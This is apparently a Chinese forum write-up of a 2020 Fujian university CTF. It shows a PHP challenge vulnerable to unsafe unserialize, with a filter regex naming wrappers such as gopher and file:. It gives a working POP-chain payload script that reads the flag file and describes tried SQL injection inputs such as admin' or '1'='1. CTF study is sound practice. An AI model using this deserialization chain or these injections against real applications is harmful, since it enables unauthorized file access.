安全矩阵

 找回密码
 立即注册
搜索
查看: 2521|回复: 0

“百越杯”第五届福建省高校网络空间安全大赛

[复制链接]

8

主题

46

帖子

256

积分

中级会员

Rank: 3Rank: 3

积分
256
发表于 2020-4-2 21:46:37 | 显示全部楼层 |阅读模式
Web
BabyPHP
一访问容器就给了PHP代码
<?php
error_reporting(1);
class Read {
    private $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
   
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'解析开始'."<br>";
    }
   
    public function __toString()
    {
        $this->str['str']->source;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }  
}
if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}
?>
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475
很明显是反序列化利用, 但是对这块不熟悉, 所以一开始给每个类都单独构造Payload, 但是都不能用,
后面根据题目百度了下, 找到一个参加其他比赛的师傅写的WP, 同时也发现是原题…
在写之前又搜了一下, 发现2018SWPU也有一题类似的题目,
最终构造Payload的脚本如下:
<?php
class Read {
    private $var = 'fllllllaaaaaag.php';
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $params;
}
$c = new Read();
$b = new Test();
$b->params = $c;
$d = new Show();
$d->str = array('str' => $b);
$a = new Show();
$a->source = $d;
echo urlencode(serialize($a));
12345678910111213141516171819202122232425
踩了好几次坑, 一开始用这个脚本构造的Payload还不能用, 后面在本地调试, 发现是文件不存在导致的.
大致归纳下, 这题主要是利用了PHP类的魔术方法, 一开始构造的几个Payload之所以不能用, 就是因为没触发到.
__invoke: 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
__toString: 对象被当做文本使用前调用.
__get: 读取不可访问属性的值时,__get() 会被调用。
__wakeup: 反序列化生成对象时调用.
__sleep: 与__wakeup相反, 执行序列化操作前调用.
BabyGame
这题试了很多技巧都不行, 加上自己对SQL注入不是特别会, 就更解不出了(至少看隔壁学校的大佬也没解出)
试着登录admin, 登录失败, 但是不告诉具体原因,
注册admin, 提示用户已存在, 试着用admin' or '1'='1绕过,
但是没提示用户存在, 注册成功, 然后到登录后的页面,
看上去是对'进行了转义, 测试了"同样也被转义.
弄到这暂时没什么思路, 也没有敏感文件泄漏,
额不对, 还有一个tools.php,
但无论怎么测试都提示no result, 也没有sql注入的样子, 只好弃坑=-=.
转回去去注册一个正常账户, 发现登录后出现了一个flag链接, 点进去显示了flag, 但是并不正确,
拿去解密后发现是对自己的账户信息做了md5操作.
同时发现出现了个msgid, 但是并没有什么注入点.
根据flag出现的情况, 推测是在欢迎页做了未过滤的sql查询, 成功时才输出指向链接,
但是想想总有点不对, 如果是这样, 那输出的用户名不应该有转义才对.
最后平台放了两次提示, 然而并没有什么卵用, 第一个上午刚做就猜到了, 第二个看不懂意思.jpg
所以, “等一个官方WP or 复现”.jpg


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 04:50 , Processed in 0.011861 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表